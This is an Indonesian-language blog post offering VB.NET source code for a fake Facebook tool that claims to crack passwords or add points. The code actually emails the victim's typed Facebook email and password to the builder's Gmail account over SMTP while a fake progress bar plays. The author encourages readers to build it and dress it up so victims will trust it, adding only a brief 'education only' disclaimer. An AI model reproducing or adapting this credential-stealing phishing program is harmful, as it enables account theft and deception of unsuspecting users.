Facebook Phiser | Fake Software Source Code (Phising Facebook Account)

Halo Poker and Facebook Mania, Udah lama ACI gak posting artikel baru nih... Soalnya lagi banya kerjaan .......................
Sebelumnya ACI mau nanya dulu... Gimana dengan Software Chain and Ablenya? Udah dapat berapa Account nih? 
Oya, sekedar mengingatkan nih... Masih ingatkan ama Zynga Poker Chips Duplicator itu? Sempat juga ACI ketipu kirain software beneran. Ternyata software palsu, niatnya pengen untung malah jadi buntung... Masih ingetkan ama artikel saya yang berjudul zynga poker chips duplicator 100% Works??.
Disana saya pernah menjanjikan akan memberikan tutorial cara membuatnya... Baru kesampean deh janji saya pada hari ini.

Kita akan membuat software yang seolah-olah bisa ngecrack password facebook orang lain dengan memasukkan email dan password sendiri. Padahal email 'n passwordnya bakalan terkirim ke email kita... hiks hiks... ini nih namanya menipu penjahat.
Berikut Source Codenya dikasi sama sobat ACI.... Gifar Ucul dari echo
Imports System.Security.Cryptography
Imports System.Text
Imports System.Net.Mail

Public Class Form1
Dim MyProgress As Integer

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Me.Close()
Else
End If
End If
Dim username As String = "GMAIL"
Dim password As String = "PASSWORD"
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL"))
MyMailMessage.To.Add(GetDecryptedData("GMAIL"))
MyMailMessage.Subject = "facebook"
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD"))
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
ProgressBar1.Style = ProgressBarStyle.Blocks
ProgressBar1.Step = 1
Timer1.Enabled = True
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.")
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = MyProgress
If MyProgress < 100 Then MyProgress = MyProgress + 1
Label3.Text = "Adding Points " & MyProgress & "%"
If MyProgress = 100 Then
Label3.Text = "Complete"
ProgressBar1.Visible = True
End If

End Sub

End Class

Silahkan Copy Paste di VB.net 2008. Yang belum punya download dulu gih "visual basic 2008 express edition" di microsoft. Gratis kok. Kalo mau belajar harus banyak usaha kan... Jangan langsung disuapin aja.. bener gak... hiks hiks
Berikut Screen Shootnya (From Gifar) kalau udah di build..

Tergantung kreatifitas teman-teman aja mau bikin yang kayak gimana biar korban percaya... Misalnya Software anda dikatakan sebagai software yang fungsi nya buat mesaage auto wall auto add auto kan percaya tuh kalau password mesti dimasukin....

Oya, ini kata pamungkasnya...
Semua yang saya kasih ini hanya sebagai edukasi buat teman-teman yang lagi belajar. Jangan disalahgunakan okey... :-)

Silahkan Baca Artikel Menarik Lainnya